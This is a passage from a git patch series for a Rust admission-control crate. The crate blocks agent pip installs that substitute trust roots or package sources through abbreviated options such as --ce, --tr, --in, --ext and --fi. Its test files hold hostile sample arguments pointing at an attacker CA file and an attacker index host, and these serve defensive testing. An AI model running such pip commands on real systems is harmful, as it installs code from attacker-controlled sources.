normalized_intent.as_ref().unwrap_or(intent); let mut decision = policy::admission_decision(policy, intent); if artifact_source_identity::requests_unapproved_artifact_source(intent) { From 0df776f7d2b2b103fd927f931f008272501d5565 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 12:12:11 +0900 Subject: [PATCH 497/702] test(admission): expose global pip certificate-store authority --- .../pypi_certificate_store_trust_contract.rs | 64 +++++++++++++++++++ 1 file changed, 64 insertions(+) diff --git a/crates/agent-artifact-admission/tests/pypi_certificate_store_trust_contract.rs b/crates/agent-artifact-admission/tests/pypi_certificate_store_trust_contract.rs index 08c5bc09..a718e272 100644 --- a/crates/agent-artifact-admission/tests/pypi_certificate_store_trust_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_certificate_store_trust_contract.rs @@ -1,6 +1,7 @@ use wardnet_agent_artifact_admission::{ AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, admission_decision, + sha256_hex, }; const ARTIFACT_DIGEST: &str = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; @@ -87,6 +88,69 @@ fn pip_separate_certificate_prefix_value_is_explicit_trust_authority() { } } +#[test] +fn pip_global_certificate_prefixes_are_explicit_trust_authority() { + for executable in ["pip", "pip3"] { + for selector in ["--ce", "--cer"] { + let (policy, mut intent) = approved_pip_install(executable); + intent.argv = vec![ + executable.to_string(), + selector.to_string(), + "/tmp/attacker-ca.pem".to_string(), + "install".to_string(), + ARTIFACT_ARGUMENT.to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-input".to_string(), + ]; + let expected_command_sha256 = sha256_hex(intent.argv.join("\u{1f}").as_bytes()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block, "{executable} {selector}"); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "parser-valid global {selector} must be classified as certificate-store trust authority: {:?}", + decision.reason_codes + ); + assert_eq!(decision.command_sha256, expected_command_sha256); + } + } +} + +#[test] +fn pip_global_attached_certificate_prefixes_are_explicit_trust_authority() { + for executable in ["pip", "pip3"] { + for selector in ["--ce", "--cer"] { + let (policy, mut intent) = approved_pip_install(executable); + intent.argv = vec![ + executable.to_string(), + format!("{selector}=/tmp/attacker-ca.pem"), + "install".to_string(), + ARTIFACT_ARGUMENT.to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-input".to_string(), + ]; + let expected_command_sha256 = sha256_hex(intent.argv.join("\u{1f}").as_bytes()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block, "{executable} {selector}"); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "parser-valid attached global {selector} must be classified as certificate-store trust authority: {:?}", + decision.reason_codes + ); + assert_eq!(decision.command_sha256, expected_command_sha256); + } + } +} + #[test] fn pip_separate_certificate_value_is_classified_as_alternate_trust_authority() { let (policy, mut intent) = approved_pip_install("pip"); From 53ef2b1b56c70e1901dc345b750fc7f31242b45b Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 12:14:15 +0900 Subject: [PATCH 498/702] style(admission): apply rustfmt to global certificate-store RED --- .../tests/pypi_certificate_store_trust_contract.rs | 12 ++++++++++-- 1 file changed, 10 insertions(+), 2 deletions(-) diff --git a/crates/agent-artifact-admission/tests/pypi_certificate_store_trust_contract.rs b/crates/agent-artifact-admission/tests/pypi_certificate_store_trust_contract.rs index a718e272..e4eb8594 100644 --- a/crates/agent-artifact-admission/tests/pypi_certificate_store_trust_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_certificate_store_trust_contract.rs @@ -107,7 +107,11 @@ fn pip_global_certificate_prefixes_are_explicit_trust_authority() { let decision = admission_decision(&policy, &intent); - assert_eq!(decision.decision, DecisionKind::Block, "{executable} {selector}"); + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} {selector}" + ); assert!( decision .reason_codes @@ -138,7 +142,11 @@ fn pip_global_attached_certificate_prefixes_are_explicit_trust_authority() { let decision = admission_decision(&policy, &intent); - assert_eq!(decision.decision, DecisionKind::Block, "{executable} {selector}"); + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} {selector}" + ); assert!( decision .reason_codes From 14b9dbf34e9a2115411d8e091d7c978ff4eb4aa1 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 12:17:06 +0900 Subject: [PATCH 499/702] fix(admission): expose reviewed pip certificate-store prefix matcher --- .../src/pypi_certificate_store_authority.rs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/src/pypi_certificate_store_authority.rs b/crates/agent-artifact-admission/src/pypi_certificate_store_authority.rs index 1df8e64a..f48b51ea 100644 --- a/crates/agent-artifact-admission/src/pypi_certificate_store_authority.rs +++ b/crates/agent-artifact-admission/src/pypi_certificate_store_authority.rs @@ -26,7 +26,7 @@ pub(crate) fn requests_unapproved_pypi_certificate_store_abbreviation( /// pip's optparse-compatible parser accepts `--ce` and `--cer` for `--cert`. /// `--c` remains ambiguous on the reviewed option surface, while the full /// `--cert` spelling stays owned by the generic exact-option trust guard. -fn matches_pip_certificate_store_abbreviation(argument: &str) -> bool { +pub(crate) fn matches_pip_certificate_store_abbreviation(argument: &str) -> bool { let option = argument .split_once('=') .map_or(argument, |(option, _)| option); From 0e6d585bde0c4205efe09031b6e6bd9239606a3e Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 12:17:18 +0900 Subject: [PATCH 500/702] fix(admission): classify global pip certificate-store prefixes --- .../src/pypi_global_option_authority.rs | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) diff --git a/crates/agent-artifact-admission/src/pypi_global_option_authority.rs b/crates/agent-artifact-admission/src/pypi_global_option_authority.rs index 0272c7d9..a2336cf8 100644 --- a/crates/agent-artifact-admission/src/pypi_global_option_authority.rs +++ b/crates/agent-artifact-admission/src/pypi_global_option_authority.rs @@ -1,4 +1,5 @@ use crate::InstallIntent; +use crate::pypi_certificate_store_authority::matches_pip_certificate_store_abbreviation; use crate::pypi_client_certificate_authority::matches_pip_client_certificate_option; use crate::pypi_proxy_authority::{ is_attached_direct_pip_proxy_selector, is_direct_pip_proxy_value_selector, @@ -58,6 +59,23 @@ pub(crate) fn normalize_reviewed_direct_pip_global_options( continue; } + if matches_pip_certificate_store_abbreviation(argument) { + if let Some((_, value)) = argument.split_once('=') { + if value.is_empty() { + return None; + } + reviewed_global_arguments.push(arguments[index].clone()); + index += 1; + } else { + push_separate_value_argument( + arguments, + &mut reviewed_global_arguments, + &mut index, + )?; + } + continue; + } + if matches_pip_client_certificate_option(argument) { if let Some((_, value)) = argument.split_once('=') { if value.is_empty() { From b0d7b31872c7e6fd379fd38526a769f70d17f5be Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 12:19:42 +0900 Subject: [PATCH 501/702] test(admission): reject certificate-store values as package operands --- .../tests/pypi_certificate_store_trust_contract.rs | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/crates/agent-artifact-admission/tests/pypi_certificate_store_trust_contract.rs b/crates/agent-artifact-admission/tests/pypi_certificate_store_trust_contract.rs index e4eb8594..8bf2c5c5 100644 --- a/crates/agent-artifact-admission/tests/pypi_certificate_store_trust_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_certificate_store_trust_contract.rs @@ -85,6 +85,11 @@ fn pip_separate_certificate_prefix_value_is_explicit_trust_authority() { "pip's separate-value --ce prefix must be classified as trust authority independently of operand validation: {:?}", decision.reason_codes ); + assert!( + !decision.reason_codes.contains(&ReasonCode::ArtifactNotApproved), + "the certificate-store value is authority metadata, not a package operand: {:?}", + decision.reason_codes + ); } } @@ -119,6 +124,11 @@ fn pip_global_certificate_prefixes_are_explicit_trust_authority() { "parser-valid global {selector} must be classified as certificate-store trust authority: {:?}", decision.reason_codes ); + assert!( + !decision.reason_codes.contains(&ReasonCode::ArtifactNotApproved), + "the global certificate-store value is authority metadata, not a package operand: {:?}", + decision.reason_codes + ); assert_eq!(decision.command_sha256, expected_command_sha256); } } From 842456f8c1c6f47d95a9f90aa563c1980fefa4aa Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 12:20:33 +0900 Subject: [PATCH 502/702] style(admission): apply rustfmt to certificate-store operand RED --- .../tests/pypi_certificate_store_trust_contract.rs | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/crates/agent-artifact-admission/tests/pypi_certificate_store_trust_contract.rs b/crates/agent-artifact-admission/tests/pypi_certificate_store_trust_contract.rs index 8bf2c5c5..a8d541fb 100644 --- a/crates/agent-artifact-admission/tests/pypi_certificate_store_trust_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_certificate_store_trust_contract.rs @@ -86,7 +86,9 @@ fn pip_separate_certificate_prefix_value_is_explicit_trust_authority() { decision.reason_codes ); assert!( - !decision.reason_codes.contains(&ReasonCode::ArtifactNotApproved), + !decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved), "the certificate-store value is authority metadata, not a package operand: {:?}", decision.reason_codes ); @@ -125,7 +127,9 @@ fn pip_global_certificate_prefixes_are_explicit_trust_authority() { decision.reason_codes ); assert!( - !decision.reason_codes.contains(&ReasonCode::ArtifactNotApproved), + !decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved), "the global certificate-store value is authority metadata, not a package operand: {:?}", decision.reason_codes ); From f7d76397dfdcf5f512a17e2fa0a69592705a93d5 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 12:24:03 +0900 Subject: [PATCH 503/702] fix(admission): normalize certificate-store authority values --- .../src/pypi_certificate_store_authority.rs | 51 +++++++++++++++++++ 1 file changed, 51 insertions(+) diff --git a/crates/agent-artifact-admission/src/pypi_certificate_store_authority.rs b/crates/agent-artifact-admission/src/pypi_certificate_store_authority.rs index f48b51ea..d3fd3388 100644 --- a/crates/agent-artifact-admission/src/pypi_certificate_store_authority.rs +++ b/crates/agent-artifact-admission/src/pypi_certificate_store_authority.rs @@ -3,6 +3,57 @@ use crate::InstallIntent; const PIP_CERTIFICATE_STORE_OPTION: &str = "--cert"; const SHORTEST_UNAMBIGUOUS_PREFIX: &str = "--ce"; +/// Return a policy-evaluation copy in which reviewed separate-value +/// certificate-store abbreviations are represented as attached options. +/// +/// This prevents the certificate path from masquerading as a package operand +/// without changing the caller-submitted argv retained for audit hashing. Only +/// direct `pip`/`pip3 install` grammar and the already-verified `--ce`/`--cer` +/// abbreviation language are normalized; malformed or unknown grammar remains +/// untouched and therefore fail closed. +pub(crate) fn normalize_reviewed_pypi_certificate_store_values( + intent: &InstallIntent, +) -> Option { + let executable = intent.argv.first()?.as_str(); + let arguments = &intent.argv[1..]; + if !matches!(executable, "pip" | "pip3") + || !arguments + .first() + .is_some_and(|argument| argument == "install") + { + return None; + } + + let mut normalized = intent.clone(); + let mut changed = false; + let mut argv = Vec::with_capacity(intent.argv.len()); + argv.extend(intent.argv.iter().take(2).cloned()); + + let mut index = 2; + while index < intent.argv.len() { + let argument = intent.argv[index].as_str(); + if matches_pip_certificate_store_abbreviation(argument) && !argument.contains('=') { + let value = intent.argv.get(index + 1)?; + if value.is_empty() || value.starts_with('-') { + return None; + } + argv.push(format!("{argument}={value}")); + changed = true; + index += 2; + continue; + } + + argv.push(intent.argv[index].clone()); + index += 1; + } + + if !changed { + return None; + } + normalized.argv = argv; + Some(normalized) +} + /// Return whether a direct pip install selects a caller-controlled certificate /// store through an accepted long-option abbreviation not covered by the /// generic exact-option guard. From 28595a7f304d7dcadb9e782a72e1d201340ead22 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 12:24:26 +0900 Subject: [PATCH 504/702] fix(admission): keep certificate paths out of artifact operands --- crates/agent-artifact-admission/src/lib.rs | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/crates/agent-artifact-admission/src/lib.rs b/crates/agent-artifact-admission/src/lib.rs index 6ccd0d21..0dfec6a0 100644 --- a/crates/agent-artifact-admission/src/lib.rs +++ b/crates/agent-artifact-admission/src/lib.rs @@ -49,9 +49,12 @@ pub use policy::{is_sha256_hex, sha256_hex, validate_install_intent}; /// Compute a deterministic fail-closed admission decision for one install intent. pub fn admission_decision(policy: &AdmissionPolicy, intent: &InstallIntent) -> AdmissionDecision { let submitted_intent = intent; - let normalized_intent = + let global_normalized_intent = pypi_global_option_authority::normalize_reviewed_direct_pip_global_options(intent); - let intent = normalized_intent.as_ref().unwrap_or(intent); + let intent = global_normalized_intent.as_ref().unwrap_or(intent); + let certificate_store_normalized_intent = + pypi_certificate_store_authority::normalize_reviewed_pypi_certificate_store_values(intent); + let intent = certificate_store_normalized_intent.as_ref().unwrap_or(intent); let mut decision = policy::admission_decision(policy, intent); if artifact_source_identity::requests_unapproved_artifact_source(intent) { if !decision From 7ae5ba6418e1fd0852903b350504453e1c7afe75 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 12:25:55 +0900 Subject: [PATCH 505/702] style(admission): apply rustfmt to authority normalization --- crates/agent-artifact-admission/src/lib.rs | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/src/lib.rs b/crates/agent-artifact-admission/src/lib.rs index 0dfec6a0..9f5dd9e0 100644 --- a/crates/agent-artifact-admission/src/lib.rs +++ b/crates/agent-artifact-admission/src/lib.rs @@ -54,7 +54,9 @@ pub fn admission_decision(policy: &AdmissionPolicy, intent: &InstallIntent) -> A let intent = global_normalized_intent.as_ref().unwrap_or(intent); let certificate_store_normalized_intent = pypi_certificate_store_authority::normalize_reviewed_pypi_certificate_store_values(intent); - let intent = certificate_store_normalized_intent.as_ref().unwrap_or(intent); + let intent = certificate_store_normalized_intent + .as_ref() + .unwrap_or(intent); let mut decision = policy::admission_decision(policy, intent); if artifact_source_identity::requests_unapproved_artifact_source(intent) { if !decision From 498f035f59e3756ea4c956a657ea2d962959c38b Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 12:37:47 +0900 Subject: [PATCH 506/702] test(security): expose global pip registry authority gap --- ...pypi_global_registry_authority_contract.rs | 221 ++++++++++++++++++ 1 file changed, 221 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/pypi_global_registry_authority_contract.rs diff --git a/crates/agent-artifact-admission/tests/pypi_global_registry_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_global_registry_authority_contract.rs new file mode 100644 index 00000000..e5b8b0c2 --- /dev/null +++ b/crates/agent-artifact-admission/tests/pypi_global_registry_authority_contract.rs @@ -0,0 +1,221 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, admission_decision, + sha256_hex, +}; + +const ARTIFACT_DIGEST: &str = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; +const MANIFEST_DIGEST: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const ARTIFACT_ARGUMENT: &str = "cwl-example==1.2.3"; +const HOSTILE_INDEX: &str = "https://attacker.invalid/simple"; + +#[test] +fn reviewed_pip_baseline_remains_allowed() { + for executable in ["pip", "pip3"] { + let (policy, intent) = approved_pip_install(executable); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); + } +} + +#[test] +fn global_pip_registry_and_trust_selectors_are_causal_trust_evidence() { + for executable in ["pip", "pip3"] { + for option in [ + format!("--trusted-host=attacker.invalid"), + format!("--tr=attacker.invalid"), + format!("--index-url={HOSTILE_INDEX}"), + format!("--in={HOSTILE_INDEX}"), + format!("--extra-index-url={HOSTILE_INDEX}"), + format!("--ext={HOSTILE_INDEX}"), + format!("--find-links={HOSTILE_INDEX}"), + format!("--fi={HOSTILE_INDEX}"), + "--no-index".to_string(), + "--no-ind".to_string(), + ] { + let (policy, mut intent) = approved_pip_install(executable); + intent.argv = global_install_argv(executable, &[option.as_str()], &[]); + let submitted_argv = intent.argv.clone(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} global {option} must fail closed" + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "{executable} global {option} must be classified as registry/trust authority: {:?}", + decision.reason_codes + ); + assert!( + !decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved), + "{executable} global {option} must not manufacture undeclared-artifact evidence: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(submitted_argv.join("\u{1f}").as_bytes()), + "normalization must preserve exact submitted argv audit identity" + ); + } + } +} + +#[test] +fn global_separate_registry_and_trust_values_are_consumed_without_false_artifacts() { + for executable in ["pip", "pip3"] { + for (option, value) in [ + ("--trusted-host", "attacker.invalid"), + ("--tr", "attacker.invalid"), + ("--index-url", HOSTILE_INDEX), + ("--in", HOSTILE_INDEX), + ("--extra-index-url", HOSTILE_INDEX), + ("--ext", HOSTILE_INDEX), + ("--find-links", HOSTILE_INDEX), + ("--fi", HOSTILE_INDEX), + ] { + let (policy, mut intent) = approved_pip_install(executable); + intent.argv = global_install_argv(executable, &[option, value], &[]); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "{executable} global separate {option} value must be explicit registry/trust evidence: {:?}", + decision.reason_codes + ); + assert!( + !decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved), + "the value consumed by {option} must not masquerade as a package operand: {:?}", + decision.reason_codes + ); + } + } +} + +#[test] +fn real_extra_package_remains_visible_after_global_registry_normalization() { + for executable in ["pip", "pip3"] { + let (policy, mut intent) = approved_pip_install(executable); + intent.argv = global_install_argv( + executable, + &["--tr", "attacker.invalid"], + &["undeclared-package==9.9.9"], + ); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "global trusted-host authority must remain explicit" + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved), + "a genuine additional package must remain visible" + ); + } +} + +#[test] +fn ambiguous_global_long_prefix_is_not_promoted_to_trusted_host() { + for executable in ["pip", "pip3"] { + let (policy, mut intent) = approved_pip_install(executable); + intent.argv = global_install_argv(executable, &["--t=attacker.invalid"], &[]); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + !decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "Wardnet must not invent ambiguous --t as --trusted-host: {:?}", + decision.reason_codes + ); + } +} + +fn global_install_argv(executable: &str, global_arguments: &[&str], extra_packages: &[&str]) -> Vec { + let mut argv = Vec::with_capacity(6 + global_arguments.len() + extra_packages.len()); + argv.push(executable.to_string()); + argv.extend(global_arguments.iter().map(|argument| (*argument).to_string())); + argv.push("install".to_string()); + argv.push(ARTIFACT_ARGUMENT.to_string()); + argv.extend(extra_packages.iter().map(|argument| (*argument).to_string())); + argv.push("--require-hashes".to_string()); + argv.push("--no-deps".to_string()); + argv.push("--no-input".to_string()); + argv +} + +fn approved_pip_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: ARTIFACT_DIGEST.to_string(), + artifact_argument: ARTIFACT_ARGUMENT.to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "pypi-global-registry-authority".to_string(), + policy_revision: "2026-09-12.1".to_string(), + allowed_executables: vec![executable.to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: MANIFEST_DIGEST.to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: format!("req-pypi-global-registry-{executable}"), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + executable.to_string(), + "install".to_string(), + ARTIFACT_ARGUMENT.to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-input".to_string(), + ], + manifest_sha256: MANIFEST_DIGEST.to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + + (policy, intent) +} From eb4c88563bf328decd19f00bc486eb47ffb38b99 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 12:39:03 +0900 Subject: [PATCH 507/702] test(security): format global pip registry RED --- .../pypi_global_registry_authority_contract.rs | 18 +++++++++++++++--- 1 file changed, 15 insertions(+), 3 deletions(-) diff --git a/crates/agent-artifact-admission/tests/pypi_global_registry_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_global_registry_authority_contract.rs index e5b8b0c2..d30aab70 100644 --- a/crates/agent-artifact-admission/tests/pypi_global_registry_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_global_registry_authority_contract.rs @@ -154,13 +154,25 @@ fn ambiguous_global_long_prefix_is_not_promoted_to_trusted_host() { } } -fn global_install_argv(executable: &str, global_arguments: &[&str], extra_packages: &[&str]) -> Vec { +fn global_install_argv( + executable: &str, + global_arguments: &[&str], + extra_packages: &[&str], +) -> Vec { let mut argv = Vec::with_capacity(6 + global_arguments.len() + extra_packages.len()); argv.push(executable.to_string()); - argv.extend(global_arguments.iter().map(|argument| (*argument).to_string())); + argv.extend( + global_arguments + .iter() + .map(|argument| (*argument).to_string()), + ); argv.push("install".to_string()); argv.push(ARTIFACT_ARGUMENT.to_string()); - argv.extend(extra_packages.iter().map(|argument| (*argument).to_string())); + argv.extend( + extra_packages + .iter() + .map(|argument| (*argument).to_string()), + ); argv.push("--require-hashes".to_string()); argv.push("--no-deps".to_string()); argv.push("--no-input".to_string()); From 871f72aab376e3d8c96c12692c488af7566fd093 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 12:41:10 +0900 Subject: [PATCH 508/702] fix(security): expose reviewed pip registry selector language --- .../src/pypi_registry_authority.rs | 133 ++++++++++++++---- 1 file changed, 109 insertions(+), 24 deletions(-) diff --git a/crates/agent-artifact-admission/src/pypi_registry_authority.rs b/crates/agent-artifact-admission/src/pypi_registry_authority.rs index f1996a3f..7a8f7341 100644 --- a/crates/agent-artifact-admission/src/pypi_registry_authority.rs +++ b/crates/agent-artifact-admission/src/pypi_registry_authority.rs @@ -1,5 +1,15 @@ use crate::InstallIntent; +const PIP_VALUE_SOURCE_SELECTORS: [(&str, &str); 3] = [ + ("--index-url", "--in"), + ("--extra-index-url", "--ext"), + ("--find-links", "--fi"), +]; +const PIP_NO_INDEX_CANONICAL: &str = "--no-index"; +const PIP_NO_INDEX_SHORTEST_ACCEPTED_PREFIX: &str = "--no-ind"; +const PIP_TRUSTED_HOST_CANONICAL: &str = "--trusted-host"; +const PIP_TRUSTED_HOST_SHORTEST_ACCEPTED_PREFIX: &str = "--tr"; + /// Return whether a direct Python package install disables or replaces the exact /// reviewed registry/source authority or relaxes its reviewed transport trust. pub(crate) fn disables_reviewed_registry(intent: &InstallIntent) -> bool { @@ -24,34 +34,66 @@ pub(crate) fn disables_reviewed_registry(intent: &InstallIntent) -> bool { } arguments.iter().any(|argument| { - argument == "--no-index" + argument == PIP_NO_INDEX_CANONICAL || (matches!(executable, "pip" | "pip3") && (requests_pip_source_selector_abbreviation(argument) || requests_pip_trusted_host_abbreviation(argument))) }) } +/// Return whether `argument` is a reviewed direct-pip registry/source selector +/// that consumes one value. This is the shared language for both post-command +/// policy evaluation and the bounded pre-command General Option normalizer. +pub(crate) fn is_reviewed_pip_registry_value_selector(argument: &str) -> bool { + let option = option_name(argument); + + PIP_VALUE_SOURCE_SELECTORS + .iter() + .any(|(canonical, shortest_accepted_prefix)| { + option == *canonical + || is_unambiguous_long_option_prefix(option, canonical, shortest_accepted_prefix) + }) + || option == PIP_TRUSTED_HOST_CANONICAL + || is_unambiguous_long_option_prefix( + option, + PIP_TRUSTED_HOST_CANONICAL, + PIP_TRUSTED_HOST_SHORTEST_ACCEPTED_PREFIX, + ) +} + +/// Return whether `argument` is the reviewed value-less `--no-index` selector +/// or one of pip's verified unambiguous long-option prefixes for it. +pub(crate) fn is_reviewed_pip_no_index_selector(argument: &str) -> bool { + if argument.contains('=') { + return false; + } + + let option = option_name(argument); + option == PIP_NO_INDEX_CANONICAL + || is_unambiguous_long_option_prefix( + option, + PIP_NO_INDEX_CANONICAL, + PIP_NO_INDEX_SHORTEST_ACCEPTED_PREFIX, + ) +} + /// pip's optparse-compatible CLI accepts unambiguous long-option prefixes. The /// generic argv guard intentionally matches exact option names because other /// installers do not share that grammar, so pip source selectors need their /// accepted prefix forms classified here as the same trust-root authority. fn requests_pip_source_selector_abbreviation(argument: &str) -> bool { - let option = argument - .split_once('=') - .map_or(argument, |(option, _)| option); - - [ - ("--index-url", "--in"), - ("--extra-index-url", "--ext"), - ("--find-links", "--fi"), - ("--no-index", "--no-ind"), - ] - .iter() - .any(|(canonical, shortest_accepted_prefix)| { - option.len() >= shortest_accepted_prefix.len() - && option != *canonical - && canonical.starts_with(option) - }) + let option = option_name(argument); + + PIP_VALUE_SOURCE_SELECTORS + .iter() + .any(|(canonical, shortest_accepted_prefix)| { + is_unambiguous_long_option_prefix(option, canonical, shortest_accepted_prefix) + }) + || is_unambiguous_long_option_prefix( + option, + PIP_NO_INDEX_CANONICAL, + PIP_NO_INDEX_SHORTEST_ACCEPTED_PREFIX, + ) } /// Direct pip also accepts unambiguous prefixes of `--trusted-host`. `--tr` is @@ -59,21 +101,33 @@ fn requests_pip_source_selector_abbreviation(argument: &str) -> bool { /// options. Classify only the accepted direct-pip abbreviation language here; /// canonical `--trusted-host` remains covered by the generic exact-option guard. fn requests_pip_trusted_host_abbreviation(argument: &str) -> bool { - const CANONICAL: &str = "--trusted-host"; - const SHORTEST_ACCEPTED_PREFIX: &str = "--tr"; + is_unambiguous_long_option_prefix( + option_name(argument), + PIP_TRUSTED_HOST_CANONICAL, + PIP_TRUSTED_HOST_SHORTEST_ACCEPTED_PREFIX, + ) +} - let option = argument +fn option_name(argument: &str) -> &str { + argument .split_once('=') - .map_or(argument, |(option, _)| option); + .map_or(argument, |(option, _)| option) +} - option.len() >= SHORTEST_ACCEPTED_PREFIX.len() - && option != CANONICAL - && CANONICAL.starts_with(option) +fn is_unambiguous_long_option_prefix( + option: &str, + canonical: &str, + shortest_accepted_prefix: &str, +) -> bool { + option.len() >= shortest_accepted_prefix.len() + && option != canonical + && canonical.starts_with(option) } #[cfg(test)] mod tests { use super::{ + is_reviewed_pip_no_index_selector, is_reviewed_pip_registry_value_selector, requests_pip_source_selector_abbreviation, requests_pip_trusted_host_abbreviation, }; @@ -137,4 +191,35 @@ mod tests { ); } } + + #[test] + fn reviewed_global_registry_value_selectors_share_the_verified_language() { + for option in [ + "--index-url", + "--in", + "--extra-index-url", + "--ext", + "--find-links", + "--fi", + "--trusted-host", + "--tr", + ] { + assert!(is_reviewed_pip_registry_value_selector(option)); + } + + for option in ["--i", "--ex", "--f", "--t", "--no-index", "--no-ind"] { + assert!(!is_reviewed_pip_registry_value_selector(option)); + } + } + + #[test] + fn reviewed_global_no_index_selector_is_value_less_and_bounded() { + for option in ["--no-index", "--no-ind", "--no-inde"] { + assert!(is_reviewed_pip_no_index_selector(option)); + } + + for option in ["--no-i", "--no-index=value", "--no-ind=value", "--no-deps"] { + assert!(!is_reviewed_pip_no_index_selector(option)); + } + } } From 72254905fa5dfe18d226afde942ad22474f0b0ad Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 12:41:24 +0900 Subject: [PATCH 509/702] fix(security): normalize reviewed global pip registry authority --- .../src/pypi_global_option_authority.rs | 26 +++++++++++++++++++ 1 file changed, 26 insertions(+) diff --git a/crates/agent-artifact-admission/src/pypi_global_option_authority.rs b/crates/agent-artifact-admission/src/pypi_global_option_authority.rs index a2336cf8..561e7c1f 100644 --- a/crates/agent-artifact-admission/src/pypi_global_option_authority.rs +++ b/crates/agent-artifact-admission/src/pypi_global_option_authority.rs @@ -4,6 +4,9 @@ use crate::pypi_client_certificate_authority::matches_pip_client_certificate_opt use crate::pypi_proxy_authority::{ is_attached_direct_pip_proxy_selector, is_direct_pip_proxy_value_selector, }; +use crate::pypi_registry_authority::{ + is_reviewed_pip_no_index_selector, is_reviewed_pip_registry_value_selector, +}; /// Canonicalize only reviewed direct-pip General Options for policy evaluation. /// @@ -59,6 +62,29 @@ pub(crate) fn normalize_reviewed_direct_pip_global_options( continue; } + if is_reviewed_pip_registry_value_selector(argument) { + if let Some((_, value)) = argument.split_once('=') { + if value.is_empty() { + return None; + } + reviewed_global_arguments.push(arguments[index].clone()); + index += 1; + } else { + 